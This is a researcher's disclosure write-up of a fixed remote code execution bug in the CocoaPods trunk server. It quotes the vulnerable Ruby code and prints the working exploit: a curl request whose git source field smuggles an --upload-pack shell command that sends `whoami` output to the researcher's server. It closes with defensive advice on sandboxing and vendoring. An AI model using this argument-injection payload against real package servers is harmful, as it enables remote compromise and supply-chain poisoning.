tl;dr CocoaPods is a popular package manager used by lots of iOS apps (among other Swift and Objective-C Cocoa applications). I found a remote code execution bug in the central CocoaPods server holding keys for the Specs repo (https://trunk.cocoapods.org/). This bug would have allowed an attacker to poison any package download. It’s fixed now.

Introduction

I use the Signal iOS app to communicate with my friends. I really like Signal, and one of the ways I like to give back to my favorite projects is by trying to find bugs in them.

The first thing that stood out to me when browsing through the app’s source was Podfile, which lists Signal’s CocoaPods dependencies. I have a long history with package managers, so my first idea was to try and find a bug in the central CocoaPods server. Why hack just Signal if we can find a bug that affects every app using CocoaPods?

The bug

When you upload a package spec to CocoaPods, it tries to make sure you didn’t accidentally link to a private repository. It used to do that like this:

def validate_git
  # We've had trouble with Heroku's git install, see trunk.cocoapods.org/pull/141
  url = @specification.source[:git]
  return true unless url.include?('github.com') || url.include?('bitbucket.org')

  ref = @specification.source[:tag] ||
    @specification.source[:commit] ||
    @specification.source[:branch] ||
    'HEAD'
  wrap_timeout { system('git', 'ls-remote', @specification.source[:git], ref.to_s) }
end

There are a couple of issues here. The most important one is the attacker has complete control over @specification.source[:git] and ref.to_s, and so can use them to pass flags to git. git ls-remote takes an optional flag --upload-pack which happens to evaluate its contents in a shell. So if @specification.source[:git] is equal to something like --ls-remote="$(echo THIS WAS PROBABLY UNEXPECTED)" github.com, and ref.to_s is interpreted as a local repository, we’ll run the attacker’s command on the CocoaPods server.

Here’s the exploit I used in the end:

curl -X POST -H "Content-Type: application/json" -H 'Authorization: Token MY_AUTH_TOKEN' "https://trunk.cocoapods.org/api/v1/pods" --data '{"source":{"git":"--upload-pack=\"$(curl my-server:4775/`whoami`)\" https://github.com/","tag":"1.0.0"}}'

My thoughts

In general

  • Think about how much value CocoaPods has added to the world, just in developer time saved! Then think about how many huge companies use this software. Then think about how much a security audit would cost.

For people using dependency managers

  • Consider vendoring dependencies and reviewing their updates carefully.
  • Your dependency manager might have bugs, and if you’re working on something security sensitive you should really carefully think about this attack vector.

For people writing dependency managers

If you want your dependency manager to be secure, you should really treat the following as toxic waste:

  • Package contents
  • Version control software

It’s common for dependency manager servers to want to expose some metadata about the package (toxic waste), and frequently this is achieved by shelling out to some version control software (toxic waste). It’s best to avoid doing this at all, but if you must, you should use a sandbox – I really like gVisor for this sort of thing.

A few months ago I found an RCE bug in proxy.golang.org which was shelling out to some vulnerable version control software. But it was completely mitigated due to a gVisor sandbox I couldn’t escape.

Conclusion

Thanks to the CocoaPods maintainers for fixing this bug super quickly!

Shameless plug

I’m trying to give 10,000 mosquito nets to charity! If you liked this post please consider donating a $2 mosquito net.